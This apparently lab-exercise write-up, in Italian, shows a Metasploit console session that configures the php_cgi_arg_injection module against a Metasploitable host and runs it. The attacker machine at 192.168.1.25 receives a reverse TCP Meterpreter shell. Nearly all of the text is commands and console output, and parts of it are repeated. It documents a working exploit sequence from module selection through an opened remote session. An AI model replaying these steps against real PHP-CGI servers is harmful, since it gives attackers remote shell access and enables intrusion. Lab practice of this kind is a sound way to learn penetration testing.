

# EXPLOIT PHP

Avvio msf console e la ricerca php, setto l'IP d Metasploitable, verifico che la modifica sia andata a buon fine.

```
msf6 > use exploit/multi/http/php_cgi_arg_injection
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):

  Name      Current Setting  Required  Description
  --      -
  PLESK     false           yes       Exploit Plesk
  Proxies   no              no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS    yes            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     80             yes       The target port (TCP)
  SSL       false          no        Negotiate SSL/TLS for outgoing connections
  TARGETURI no              no        The URI to request (must be a CGI-handled PHP script)
  URIENCODING 0             yes       Level of URI URIENCODING and padding (0 for minimum)
  VHOST     no              no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.1.25    yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(multi/http/php_cgi_arg_injection) > set rhosts 192.168.1.40
rhosts => 192.168.1.40
msf6 exploit(multi/http/php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):

  Name      Current Setting  Required  Description
  --      -
  PLESK     false           yes       Exploit Plesk
  Proxies   no              no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS    192.168.1.40    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     80             yes       The target port (TCP)
  SSL       false          no        Negotiate SSL/TLS for outgoing connections
  TARGETURI no              no        The URI to request (must be a CGI-handled PHP script)
```

Successivamente lancio l'exploit, correttamente eseguito.

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(multi/http/php_cgi_arg_injection) > set rhosts 192.168.1.40
```

```
rhosts => 192.168.1.40
```

```
msf6 exploit(multi/http/php_cgi_arg_injection) > show options
```

Module options (exploit/multi/http/php\_cgi\_arg\_injection):

Name	Current Setting	Required	Description
PLESK	false	yes	Exploit Plesk
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	192.168.1.40	yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
TARGETURI		no	The URI to request (must be a CGI-handled PHP script)
URIENCODING	0	yes	Level of URI URIENCODING and padding (0 for minimum)
VHOST		no	HTTP server virtual host

Payload options (php/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
LHOST	192.168.1.25	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(multi/http/php_cgi_arg_injection) > exploit
```

```
[*] Started reverse TCP handler on 192.168.1.25:4444
```

```
[*] Sending stage (39927 bytes) to 192.168.1.40
```

```
[*] Meterpreter session 1 opened (192.168.1.25:4444 → 192.168.1.40:34938) at 2023-11-08 16:14:38 +0100
```